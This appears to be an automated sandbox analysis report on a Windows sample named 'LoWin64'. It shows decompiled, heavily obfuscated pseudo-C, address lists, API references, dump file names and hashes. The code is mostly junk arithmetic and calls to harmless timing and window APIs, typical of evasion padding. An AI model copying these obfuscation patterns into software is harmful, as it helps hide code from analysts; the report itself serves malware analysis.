				r8d = _a152;
				E00007FF67FF6B1CB41F0(_t149, _t247, _t523,  *((intOrPtr*)(_t551 + 0x90)), _t546); // executed
				E00007FF67FF6B1CB4910(E00007FF67FF6B1D3B360(_t236, _t523, 0, _t450, _t555), _t247,  *((intOrPtr*)(_t551 + 0x90)));
				 *0xb1decf60 = _t549;
				E00007FF67FF6B1D3ACF4(_t450);
				E00007FF67FF6B1D3ACF4(_t450);
				asm("push es");
				_t453 = (_t450 - _t549 | 0xffffff80) + _t549;
				asm("movsd xmm6, [0x11694a]");
				_t300 = _t453 - 5;
				if (_t300 != 0) goto 0xb1ca81f1;
				E00007FF67FF6B1D3ACF4(_t453);
				if (_t300 >= 0) goto 0xb1ca81e3;
				_t456 = (_t453 - _t549 | 0xffffff80) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t300 < 0) goto 0xb1ca8240;
				asm("bound ecx, [ebp+0x14]");
				asm("dec ebp");
				E00007FF67FF6B1D3ACF4(_t456);
				if (_t300 >= 0) goto 0xb1ca820e;
				_t459 = (_t456 - _t549 | 0xffffff80) + _t549;
				if (_t459 - 0x79 >= 0) goto 0xb1ca8218;
				if (0x60 - 0x67 < 0) goto 0xb1ca81f6;
				E00007FF67FF6B1D3ACF4(_t459);
				if (0x60 - 0x67 >= 0) goto 0xb1ca8228;
				_t462 = (_t459 - _t549 | 0xffffff80) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = _t462;
				 *0xb1decf60 = _t549;
				GetWindowTextLengthW(??);
				 *0xb1decf60 = r12d;
				r12d = r12d + __ebp;
				_t303 = r12d - 0x42;
				if (_t303 < 0) goto 0xb1ca824e;
				GetMessageTime();
				E00007FF67FF6B1D3ACF4(_t462);
				if (_t303 >= 0) goto 0xb1ca8274;
				_t465 = (_t462 - _t549 | 0xffffff80) + _t549;
				_t304 = _t465 - 0x2e;
				if (_t304 > 0) goto 0xb1ca82a0;
				GetUserDefaultLangID();
				E00007FF67FF6B1D3ACF4(_t465);
				if (_t304 >= 0) goto 0xb1ca828f;
				_t238 = r15d & 0xffffff00 | (_t465 - _t549 | 0xffffff80) + _t549 - 0x0000002e <= 0x00000000;
				 *0xb1decf60 = 0;
				goto 0xb1ca82e3;
				_t170 = E00007FF67FF6B1D3ACF4((_t465 - _t549 | 0xffffff80) + _t549);
				 *0x144CAB2D =  *((intOrPtr*)(0x144cab2d)) + _t238;
				 *0x144CA51D =  *((intOrPtr*)(0x144ca51d)) + _t238;
				 *0x6b =  *0x6b + _t170;
				_t470 = _a160 + _t549;
				_a160 = _t470;
				 *0xb1decf60 = _t470;
				_t306 = _t470 - 0x1f;
				if (_t306 < 0) goto 0xb1ca82a5;
				 *0xb1decf60 = _t549;
				asm("movsd xmm6, [0x116455]");
				_push(0xe800144c);
				 *_t470 =  *_t470 | _t470;
				if (_t306 >= 0) goto 0xb1ca8308;
				_t473 = (_t470 - _t549 | 0xffffff80) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t306 != 0) goto 0xb1ca8318;
				if (_t306 == 0) goto 0xb1ca831d;
				if (0x3 - 0x13 < 0) goto 0xb1ca82f0; // executed
				GetForegroundWindow();
				if ((E00007FF67FF6B1D3ACF4(_t473) & r14d) >= 0) goto 0xb1ca8333;
				_t476 = (_t473 - _t549 | 0xffffff80) + _t549;
				if (_t476 - 0x34 >= 0) goto 0xb1ca8341;
				 *0xb1decf60 = r15d;
				goto 0xb1ca8387;
				asm("adc cl, [esp+edx]");
				if ((E00007FF67FF6B1D3ACF4(_t476) & r14d) >= 0) goto 0xb1ca835e;
				_t479 = (_t476 - _t549 | 0xffffff80) + _t549;
				if (_t479 - 0x1a >= 0) goto 0xb1ca8368;
				if (0x45 - 0x52 < 0) goto 0xb1ca8346;
				E00007FF67FF6B1D3ACF4(_t479);
				if (0x45 - 0x52 >= 0) goto 0xb1ca8378;
				_t482 = (_t479 - _t549 | 0xffffff80) + _t549;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(_t482);
				if (_t482 - 0x34 >= 0) goto 0xb1ca8397;
				_t485 = (_t482 - _t549 | 0xffffff80) + _t549;
				_t314 = _t485 - 0x1f;
				if (_t314 != 0) goto 0xb1ca83d6;
				E00007FF67FF6B1D3ACF4(_t485);
				if (_t314 >= 0) goto 0xb1ca83ac;
				_t315 = (_t485 - _t549 | 0xffffff80) + _t549 - 4;
				if (_t315 == 0) goto 0xb1ca83d6;
				GetForegroundWindow();
				E00007FF67FF6B1D3ACF4((_t485 - _t549 | 0xffffff80) + _t549);
				if (_t315 >= 0) goto 0xb1ca83c7;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r13d;
				r13d = r13d + __ebp;
				_t317 = r13d - 0x54;
				if (_t317 < 0) goto 0xb1ca83d6;
				asm("push ss");
				if (_t317 < 0) goto 0xb1ca83eb;
				 *0xb1decf60 = 0x10;
				 *0xb1decf60 = _t549;
				GetUserDefaultLangID();
				GetCurrentProcessId();
				GetTickCount();
				 *0xb1decf60 = _t549;
				IsIconic(??);
				asm("adc al, 0x0");
				_t494 = 0x50 + _t549;
				if (0x50 - 0x56 < 0) goto 0xb1ca8423;
				E00007FF67FF6B1D3ACF4(_t494);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8440;
				_t497 = (_t494 - _t549 | 0xffffff80) + _t549;
				asm("movsd xmm6, [0x1163f8]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (0x50 - 0x56 >= 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t497);
				if (0x50 - 0x56 >= 0) goto 0xb1ca8466;
				_t500 = (_t497 - _t549 | 0xffffff80) + _t549;
				if (0x50 - 0x63 < 0) goto 0xb1ca849d;
				E00007FF67FF6B1D3ACF4(_t500);
				E00007FF67FF6B1D3ACF4(_t500);
				E00007FF67FF6B1D3ACF4(_t500);
				if (0x50 - 0x63 >= 0) goto 0xb1ca8485;
				_t503 = (_t500 - _t549 | 0xffffff80) + _t549;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				goto 0xb1ca84d3;
				E00007FF67FF6B1DA4028();
				 *0xb1decf60 = _t549;
				E00007FF67FF6B1D3ACF4(_t503);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84bb;
				_t506 = (_t503 - _t549 | 0xffffff80) + _t549;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x50;
				E00007FF67FF6B1D3ACF4(_t506);
				E00007FF67FF6B1D3ACF4(_t506);
				if (0x50 - 0x2c >= 0) goto 0xb1ca84e8;
				_t509 = (_t506 - _t549 | 0xffffff80) + _t549;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t509);
				E00007FF67FF6B1D3ACF4(_t509);
				if (0x50 - 0x6c >= 0) goto 0xb1ca8513;
				_t512 = (_t509 - _t549 | 0xffffff80) + _t549;
				if (0x50 - 0x18 >= 0) goto 0xb1ca855a;
				E00007FF67FF6B1D3ACF4(_t512);
				if (0x50 - 0x18 >= 0) goto 0xb1ca8528;
				if (0x50 - 0x19 > 0) goto 0xb1ca855a;
				asm("sldt word [ebx]");
				asm("fisttp qword [ecx+0x144a201d]");
				asm("scasd");
				asm("daa");
				 *0x50 =  *0x50 | 0x00000050;
				if (0x50 - 0x19 >= 0) goto 0xb1ca8550;
				_t518 = ((_t512 - _t549 | 0xffffff80) + _t549 - _t549 | 0xffffff80) + _t549;
				if (0x50 != 0x3b) goto 0xb1ca855a;
				if (0x3e - 0x49 < 0) goto 0xb1ca8532;
				_t213 = E00007FF67FF6B1D3ACF4(_t518);
				if (0x3e - 0x49 >= 0) goto 0xb1ca856a;
				asm("movaps xmm6, [esp+0x30]");
				r15b = (_t518 - _t549 | 0xffffff80) + _t549 - 0x19 > 0;
				 *0xb1decf60 = r15d;
				return _t213 & r14d;
			}

0x7ff6b1ca7c72
0x7ff6b1ca7c76
0x7ff6b1ca7c78
0x7ff6b1ca7c7c
0x7ff6b1ca7c80
0x7ff6b1ca7c88
0x7ff6b1ca7c8a
0x7ff6b1ca7c90
0x7ff6b1ca7c97
0x7ff6b1ca7c9d
0x7ff6b1ca7ca8
0x7ff6b1ca7cae
0x7ff6b1ca7cb5
0x7ff6b1ca7cb8
0x7ff6b1ca7cbc
0x7ff6b1ca7cc2
0x7ff6b1ca7cc7
0x7ff6b1ca7ccc
0x7ff6b1ca7cd2
0x7ff6b1ca7cdd
0x7ff6b1ca7ce3
0x7ff6b1ca7ceb
0x7ff6b1ca7cf1
0x7ff6b1ca7cf3
0x7ff6b1ca7cfa
0x7ff6b1ca7cfe
0x7ff6b1ca7d05
0x7ff6b1ca7d0b
0x7ff6b1ca7d0d
0x7ff6b1ca7d12
0x7ff6b1ca7d15
0x7ff6b1ca7d17
0x7ff6b1ca7d1d
0x7ff6b1ca7d22
0x7ff6b1ca7d2c
0x7ff6b1ca7d32
0x7ff6b1ca7d37
0x7ff6b1ca7d41
0x7ff6b1ca7d4c
0x7ff6b1ca7d52
0x7ff6b1ca7d62
0x7ff6b1ca7d64
0x7ff6b1ca7d6a
0x7ff6b1ca7d72
0x7ff6b1ca7d78
0x7ff6b1ca7d7a
0x7ff6b1ca7d82
0x7ff6b1ca7d86
0x7ff6b1ca7d8a
0x7ff6b1ca7d8e
0x7ff6b1ca7d90
0x7ff6b1ca7d98
0x7ff6b1ca7d9e
0x7ff6b1ca7da3
0x7ff6b1ca7da7
0x7ff6b1ca7dad
0x7ff6b1ca7db5
0x7ff6b1ca7dbb
0x7ff6b1ca7dbd
0x7ff6b1ca7dc4
0x7ff6b1ca7dc8
0x7ff6b1ca7dcf
0x7ff6b1ca7dd5
0x7ff6b1ca7dda
0x7ff6b1ca7de2
0x7ff6b1ca7de8
0x7ff6b1ca7dea
0x7ff6b1ca7df5
0x7ff6b1ca7dfc
0x7ff6b1ca7dff
0x7ff6b1ca7e05
0x7ff6b1ca7e07
0x7ff6b1ca7e0b
0x7ff6b1ca7e0f
0x7ff6b1ca7e13
0x7ff6b1ca7e1d
0x7ff6b1ca7e28
0x7ff6b1ca7e2a
0x7ff6b1ca7e30
0x7ff6b1ca7e37
0x7ff6b1ca7e39
0x7ff6b1ca7e43
0x7ff6b1ca7e4b
0x7ff6b1ca7e5c
0x7ff6b1ca7e62
0x7ff6b1ca7e6a
0x7ff6b1ca7e72
0x7ff6b1ca7e79
0x7ff6b1ca7e7d
0x7ff6b1ca7e84
0x7ff6b1ca7e8a
0x7ff6b1ca7e92
0x7ff6b1ca7ea3
0x7ff6b1ca7eb2
0x7ff6b1ca7eb4
0x7ff6b1ca7eb9
0x7ff6b1ca7ebb
0x7ff6b1ca7ec3
0x7ff6b1ca7ec9
0x7ff6b1ca7ece
0x7ff6b1ca7ed0
0x7ff6b1ca7ed8
0x7ff6b1ca7ee0
0x7ff6b1ca7ee3
0x7ff6b1ca7eee
0x7ff6b1ca7ef0
0x7ff6b1ca7ef1
0x7ff6b1ca7ef7
0x7ff6b1ca7eff
0x7ff6b1ca7f05
0x7ff6b1ca7f10
0x7ff6b1ca7f16
0x7ff6b1ca7f1b
0x7ff6b1ca7f23
0x7ff6b1ca7f29
0x7ff6b1ca7f2e
0x7ff6b1ca7f3c
0x7ff6b1ca7f42
0x7ff6b1ca7f47
0x7ff6b1ca7f51
0x7ff6b1ca7f57
0x7ff6b1ca7f5c
0x7ff6b1ca7f60
0x7ff6b1ca7f6e
0x7ff6b1ca7f74
0x7ff6b1ca7f7f
0x7ff6b1ca7f84
0x7ff6b1ca7f8c
0x7ff6b1ca7f92
0x7ff6b1ca7f97
0x7ff6b1ca7fa1
0x7ff6b1ca7fa7
0x7ff6b1ca7fac
0x7ff6b1ca7fb2
0x7ff6b1ca7fba
0x7ff6b1ca7fc0
0x7ff6b1ca7fc2
0x7ff6b1ca7fca
0x7ff6b1ca7fce
0x7ff6b1ca7fd2
0x7ff6b1ca7fd6
0x7ff6b1ca7fe4
0x7ff6b1ca7fea
0x7ff6b1ca7fef
0x7ff6b1ca7ffd
0x7ff6b1ca8003
0x7ff6b1ca8008
0x7ff6b1ca800a
0x7ff6b1ca8018
0x7ff6b1ca801e
0x7ff6b1ca8029
0x7ff6b1ca802f
0x7ff6b1ca8031
0x7ff6b1ca803b
0x7ff6b1ca803e
0x7ff6b1ca8044
0x7ff6b1ca8046
0x7ff6b1ca804e
0x7ff6b1ca8052
0x7ff6b1ca8056
0x7ff6b1ca805a
0x7ff6b1ca805c
0x7ff6b1ca805e
0x7ff6b1ca8064
0x7ff6b1ca806a
0x7ff6b1ca8072
0x7ff6b1ca8078
0x7ff6b1ca8083
0x7ff6b1ca8089
0x7ff6b1ca8090
0x7ff6b1ca8098
0x7ff6b1ca809e
0x7ff6b1ca80a0
0x7ff6b1ca80a7
0x7ff6b1ca80ab
0x7ff6b1ca80b2
0x7ff6b1ca80b8
0x7ff6b1ca80ba
0x7ff6b1ca80c1
0x7ff6b1ca80c9
0x7ff6b1ca80cf
0x7ff6b1ca80da
0x7ff6b1ca80e0
0x7ff6b1ca80e7
0x7ff6b1ca80ef
0x7ff6b1ca80f5
0x7ff6b1ca80fa
0x7ff6b1ca80fc
0x7ff6b1ca8104
0x7ff6b1ca810a
0x7ff6b1ca8112
0x7ff6b1ca8115
0x7ff6b1ca811b
0x7ff6b1ca8125
0x7ff6b1ca812b
0x7ff6b1ca8130
0x7ff6b1ca813a
0x7ff6b1ca8140
0x7ff6b1ca8145
0x7ff6b1ca8147
0x7ff6b1ca814c
0x7ff6b1ca814f
0x7ff6b1ca8155
0x7ff6b1ca8157
0x7ff6b1ca815d
0x7ff6b1ca8161
0x7ff6b1ca8168
0x7ff6b1ca816d
0x7ff6b1ca8184
0x7ff6b1ca81a1
0x7ff6b1ca81a6
0x7ff6b1ca81ac
0x7ff6b1ca81b1
0x7ff6b1ca81bf
0x7ff6b1ca81c4
0x7ff6b1ca81c6
0x7ff6b1ca81ce
0x7ff6b1ca81d1
0x7ff6b1ca81d3
0x7ff6b1ca81db
0x7ff6b1ca81e1
0x7ff6b1ca81e3
0x7ff6b1ca81e7
0x7ff6b1ca81eb
0x7ff6b1ca81ef
0x7ff6b1ca81fa
0x7ff6b1ca81fb
0x7ff6b1ca81fe
0x7ff6b1ca8206
0x7ff6b1ca820c
0x7ff6b1ca8211
0x7ff6b1ca8216
0x7ff6b1ca8218
0x7ff6b1ca8220
0x7ff6b1ca8226
0x7ff6b1ca8228
0x7ff6b1ca822f
0x7ff6b1ca8233
0x7ff6b1ca823a
0x7ff6b1ca8242
0x7ff6b1ca8248
0x7ff6b1ca824e
0x7ff6b1ca8255
0x7ff6b1ca8258
0x7ff6b1ca825c
0x7ff6b1ca825e
0x7ff6b1ca8264
0x7ff6b1ca826c
0x7ff6b1ca8272
0x7ff6b1ca8274
0x7ff6b1ca8277
0x7ff6b1ca8279
0x7ff6b1ca827f
0x7ff6b1ca8287
0x7ff6b1ca8295
0x7ff6b1ca8298
0x7ff6b1ca829e
0x7ff6b1ca82a0
0x7ff6b1ca82ae
0x7ff6b1ca82b4
0x7ff6b1ca82ba
0x7ff6b1ca82c9
0x7ff6b1ca82cb
0x7ff6b1ca82d2
0x7ff6b1ca82d8
0x7ff6b1ca82db
0x7ff6b1ca82dd
0x7ff6b1ca82e3
0x7ff6b1ca82f4
0x7ff6b1ca82fb
0x7ff6b1ca8300
0x7ff6b1ca8306
0x7ff6b1ca8308
0x7ff6b1ca830c
0x7ff6b1ca8310
0x7ff6b1ca8314
0x7ff6b1ca8316
0x7ff6b1ca831b
0x7ff6b1ca831d
0x7ff6b1ca832b
0x7ff6b1ca8331
0x7ff6b1ca8336
0x7ff6b1ca8338
0x7ff6b1ca833f
0x7ff6b1ca834a
0x7ff6b1ca8356
0x7ff6b1ca835c
0x7ff6b1ca8361
0x7ff6b1ca8366
0x7ff6b1ca8368
0x7ff6b1ca8370
0x7ff6b1ca8376
0x7ff6b1ca8381
0x7ff6b1ca8387
0x7ff6b1ca838f
0x7ff6b1ca8395
0x7ff6b1ca8397
0x7ff6b1ca839a
0x7ff6b1ca839c
0x7ff6b1ca83a4
0x7ff6b1ca83ac
0x7ff6b1ca83af
0x7ff6b1ca83b1
0x7ff6b1ca83b7
0x7ff6b1ca83bf
0x7ff6b1ca83d0
0x7ff6b1ca83d6
0x7ff6b1ca83dd
0x7ff6b1ca83e0
0x7ff6b1ca83e4
0x7ff6b1ca83ef
0x7ff6b1ca83f0
0x7ff6b1ca83f2
0x7ff6b1ca83f8
0x7ff6b1ca83fe
0x7ff6b1ca8404
0x7ff6b1ca840a
0x7ff6b1ca8412
0x7ff6b1ca8418
0x7ff6b1ca8427
0x7ff6b1ca8429
0x7ff6b1ca842e
0x7ff6b1ca8430
0x7ff6b1ca8438
0x7ff6b1ca843e
0x7ff6b1ca8440
0x7ff6b1ca8448
0x7ff6b1ca844c
0x7ff6b1ca8450
0x7ff6b1ca8454
0x7ff6b1ca8456
0x7ff6b1ca845e
0x7ff6b1ca8464
0x7ff6b1ca8469
0x7ff6b1ca846b
0x7ff6b1ca8470
0x7ff6b1ca8475
0x7ff6b1ca847d
0x7ff6b1ca8483
0x7ff6b1ca848e
0x7ff6b1ca8494
0x7ff6b1ca849b
0x7ff6b1ca849f
0x7ff6b1ca84a5
0x7ff6b1ca84ab
0x7ff6b1ca84b3
0x7ff6b1ca84b9
0x7ff6b1ca84bb
0x7ff6b1ca84c2
0x7ff6b1ca84c6
0x7ff6b1ca84cd
0x7ff6b1ca84d3
0x7ff6b1ca84d8
0x7ff6b1ca84e0
0x7ff6b1ca84e6
0x7ff6b1ca84f1
0x7ff6b1ca84f7
0x7ff6b1ca84fe
0x7ff6b1ca8503
0x7ff6b1ca850b
0x7ff6b1ca8511
0x7ff6b1ca8516
0x7ff6b1ca8518
0x7ff6b1ca8520
0x7ff6b1ca852b
0x7ff6b1ca8536
0x7ff6b1ca8539
0x7ff6b1ca8541
0x7ff6b1ca8542
0x7ff6b1ca8543
0x7ff6b1ca8548
0x7ff6b1ca854e
0x7ff6b1ca8553
0x7ff6b1ca8558
0x7ff6b1ca855a
0x7ff6b1ca8562
0x7ff6b1ca856a
0x7ff6b1ca8574
0x7ff6b1ca8578
0x7ff6b1ca858f

APIs

GetDoubleClickTime.USER32 ref: 00007FF6B1CA7C8A
IsIconic.USER32 ref: 00007FF6B1CA7DA7

Memory Dump Source

Source File: 00000019.00000002.471908681.00007FF6B1CA1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6B1CA0000, based on PE: true

Associated: 00000019.00000002.471898120.00007FF6B1CA0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473004363.00007FF6B1DA4000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473431822.00007FF6B1DEC000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473482729.00007FF6B1DEF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473540111.00007FF6B1DFE000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473695074.00007FF6B1E17000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473710818.00007FF6B1F75000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473730190.00007FF6B1F77000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000019.00000002.473944631.00007FF6B1FA8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_7ff6b1ca0000_LoWin64.jbxd

Similarity

API ID: ClickDoubleIconicTime
String ID:
API String ID: 1726852265-0
Opcode ID: 172ffe36e35774a6e0a0c30edb05ab5402248207cb4cfab70f0a9fcac53c2ff5
Instruction ID: c788149c279e6c8d1ad54194493ac36011d9aa3f2ead374a37eb1e9b5a61b010
Opcode Fuzzy Hash: 172ffe36e35774a6e0a0c30edb05ab5402248207cb4cfab70f0a9fcac53c2ff5
Instruction Fuzzy Hash: 31917067F38A0A66F7125F3CAD492B962A17F10709F740739D709E219ADF3CF5868244

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6B1CA7D2E Relevance: 7.7, APIs: 5, Instructions: 212
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 67%

			E00007FF67FF6B1CA7D2E(void* __eax, void* __edi, void* __ebp, struct HWND__* __rdx, void* _a32, void* _a144, signed int _a152, signed long long _a160, void* _a168) {
				signed int _t132;
				void* _t154;
				signed int _t197;
				signed int _t216;
				signed int _t218;
				void* _t227;
				void* _t233;
				signed int _t236;
				void* _t243;
				signed int _t261;
				void* _t272;
				void* _t275;
				void* _t276;
				void* _t278;
				void* _t286;
				void* _t287;
				void* _t289;
				void* _t301;
				void* _t304;
				void* _t311;
				void* _t314;
				void* _t317;
				void* _t320;
				void* _t323;
				void* _t337;
				void* _t340;
				void* _t347;
				void* _t350;
				void* _t353;
				void* _t356;
				void* _t359;
				void* _t362;
				void* _t365;
				void* _t368;
				void* _t371;
				void* _t374;
				void* _t377;
				void* _t380;
				void* _t383;
				void* _t386;
				void* _t389;
				void* _t392;
				void* _t395;
				void* _t398;
				void* _t401;
				void* _t404;
				void* _t407;
				void* _t410;
				void* _t413;
				signed long long _t416;
				void* _t419;
				signed long long _t424;
				void* _t427;
				void* _t430;
				void* _t433;
				void* _t436;
				void* _t439;
				void* _t448;
				void* _t451;
				void* _t454;
				void* _t457;
				void* _t460;
				void* _t463;
				void* _t466;
				void* _t472;
				void* _t477;
				signed long long _t484;
				signed long long _t497;
				void* _t500;
				signed long long _t503;
				void* _t505;
				void* _t509;

				_t304 = (_t301 - _t503 | _t497) + _t503;
				if (_t304 != 0x67) goto 0xb1ca7d58;
				if ((E00007FF67FF6B1D3ACF4(_t304) & r14d) >= 0) goto 0xb1ca7d49;
				_t233 = (_t304 - _t503 | _t497) + _t503 - 0x67;
				 *0xb1decf60 = _t484;
				if (_t233 < 0) goto 0xb1ca7d5d;
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4(0x4d);
				if (_t233 >= 0) goto 0xb1ca7d7a;
				_t311 = (0x0000004d - _t503 | _t497) + _t503;
				asm("movsd xmm6, [0x1169ae]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t233 > 0) goto 0xb1ca7dda;
				E00007FF67FF6B1D3ACF4(_t311);
				if (_t233 >= 0) goto 0xb1ca7da0;
				_t314 = (_t311 - _t503 | _t497) + _t503;
				if (0x4d - 0xb <= 0) goto 0xb1ca7dda;
				IsIconic(__rdx);
				E00007FF67FF6B1D3ACF4(_t314);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dbd;
				_t317 = (_t314 - _t503 | _t497) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x4d;
				goto 0xb1ca7ea9;
				E00007FF67FF6B1D3ACF4(_t317);
				if (0x4d - 0xb >= 0) goto 0xb1ca7dea;
				_t320 = (_t317 - _t503 | _t497) + _t503;
				asm("movsd xmm6, [0x116af6]");
				if (0x4d != 0x76) goto 0xb1ca7e39;
				_t236 = E00007FF67FF6B1D3ACF4(_t320) & r14d;
				if (_t236 >= 0) goto 0xb1ca7e07;
				_t323 = (_t320 - _t503 | _t497) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t236 >= 0) goto 0xb1ca7e39;
				if ((E00007FF67FF6B1D3ACF4(_t323) & r14d) >= 0) goto 0xb1ca7e25;
				if (0x4d != 0x30) goto 0xb1ca7e30;
				GetTickCount();
				 *0xb1decf60 = r15d;
				goto 0xb1ca7e8a;
				 *0xb1decf60 = 0x53;
				E00007FF67FF6B1D3ACF4((_t323 - _t503 | _t497) + _t503);
				if (0x4d - 0x30 >= 0) goto 0xb1ca7e53;
				 *0xb1decf60 = 0;
				E00007FF67FF6B1D3ACF4(((_t323 - _t503 | _t497) + _t503 - _t503 | _t497) + _t503);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e72;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xb1decf60 = 0x4d;
				E00007FF67FF6B1D3ACF4((((_t323 - _t503 | _t497) + _t503 - _t503 | _t497) + _t503 - _t503 | _t497) + _t503);
				if (0x4d - 0x79 >= 0) goto 0xb1ca7e9a;
				 *0xb1decf60 = 0;
				asm("adc al, 0x0");
				_t337 = 0x15 + _t503;
				if (0x15 - 0x18 < 0) goto 0xb1ca7eae;
				E00007FF67FF6B1D3ACF4(_t337);
				if (0x15 - 0x18 >= 0) goto 0xb1ca7ecb;
				_t340 = (_t337 - _t503 | _t497) + _t503;
				if (0x15 - 0x4e < 0) goto 0xb1ca7f1b;
				E00007FF67FF6B1D3ACF4(_t340);
				if (0x15 - 0x4e >= 0) goto 0xb1ca7ee0;
				_t243 = (_t340 - _t503 | _t497) + _t503 - 0x65;
				if (_t243 > 0) goto 0xb1ca7f1b;
				if (_t243 == 0) goto 0xb1ca7f62;
				asm("stc");
				 *0xb1decf60 = 0x68;
				E00007FF67FF6B1D3ACF4(0x68);
				if (_t243 >= 0) goto 0xb1ca7f07;
				_t347 = (0x00000068 - _t503 | _t497) + _t503;
				 *0xb1decf60 = 0;
				goto 0xb1ca80e7;
				E00007FF67FF6B1D3ACF4(_t347);
				if (0x68 - 0x65 >= 0) goto 0xb1ca7f2b;
				_t350 = (_t347 - _t503 | _t497) + _t503;
				if (0x68 - 0x24 < 0) goto 0xb1ca80e7;
				if ((E00007FF67FF6B1D3ACF4(_t350) & r14d) >= 0) goto 0xb1ca7f44;
				_t353 = (_t350 - _t503 | _t497) + _t503;
				if (0x68 - 0x15 < 0) goto 0xb1ca7f84;
				if ((E00007FF67FF6B1D3ACF4(_t353) & r14d) >= 0) goto 0xb1ca7f59;
				_t356 = (_t353 - _t503 | _t497) + _t503;
				if (0x68 == 0x5e) goto 0xb1ca7f84;
				GetWindowTextLengthW(??);
				if ((E00007FF67FF6B1D3ACF4(_t356) & r14d) >= 0) goto 0xb1ca7f76;
				_t359 = (_t356 - _t503 | _t497) + _t503;
				goto 0xb1ca80da;
				E00007FF67FF6B1D3ACF4(_t359);
				if (0x68 - 0x15 >= 0) goto 0xb1ca7f94;
				_t362 = (_t359 - _t503 | _t497) + _t503;
				if (0x68 - 0x63 < 0) goto 0xb1ca7fb2;
				if ((E00007FF67FF6B1D3ACF4(_t362) & r14d) >= 0) goto 0xb1ca7fa9;
				_t365 = (_t362 - _t503 | _t497) + _t503;
				if (0x68 - 0x13 <= 0) goto 0xb1ca80c1;
				E00007FF67FF6B1D3ACF4(_t365);
				if (0x68 - 0x13 >= 0) goto 0xb1ca7fc2;
				_t368 = (_t365 - _t503 | _t497) + _t503;
				asm("movsd xmm6, [0x1169fe]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (0x68 - 0x13 < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t368) & r14d) >= 0) goto 0xb1ca7fec;
				_t371 = (_t368 - _t503 | _t497) + _t503;
				if (0x68 - 0x1e < 0) goto 0xb1ca80ba;
				if ((E00007FF67FF6B1D3ACF4(_t371) & r14d) >= 0) goto 0xb1ca8005;
				_t374 = (_t371 - _t503 | _t497) + _t503;
				if (0x68 - 0x78 <= 0) goto 0xb1ca8031;
				GetCurrentProcess();
				if ((E00007FF67FF6B1D3ACF4(_t374) & r14d) >= 0) goto 0xb1ca8020;
				_t377 = (_t374 - _t503 | _t497) + _t503;
				 *0xb1decf60 = 0;
				goto 0xb1ca8090;
				E00007FF67FF6B1D3ACF4(_t377);
				_t261 = E00007FF67FF6B1D3ACF4(_t377) & r14d;
				if (_t261 >= 0) goto 0xb1ca8046;
				_t380 = (_t377 - _t503 | _t497) + _t503;
				asm("movsd xmm0, [0x116742]");
				asm("movd xmm1, eax");
				asm("cvtdq2pd xmm1, xmm1");
				asm("ucomisd xmm0, xmm1");
				if (_t261 != 0) goto 0xb1ca805e;
				if (_t261 == 0) goto 0xb1ca8064;
				GetDoubleClickTime();
				 *0xb1decf60 = _t503;
				E00007FF67FF6B1D3ACF4(_t380);
				if (_t261 >= 0) goto 0xb1ca807a;
				_t383 = (_t380 - _t503 | _t497) + _t503;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t383);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80a0;
				_t386 = (_t383 - _t503 | _t497) + _t503;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				 *0xb1decf60 = 0x68;
				goto 0xb1ca80c1;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t386);
				if (0x68 - 0x3f >= 0) goto 0xb1ca80d1;
				_t389 = (_t386 - _t503 | _t497) + _t503;
				 *0xb1decf60 = 0;
				 *0xb1decf60 = r15d;
				E00007FF67FF6B1D3ACF4(_t389);
				if (0x68 - 0x13 >= 0) goto 0xb1ca80f7;
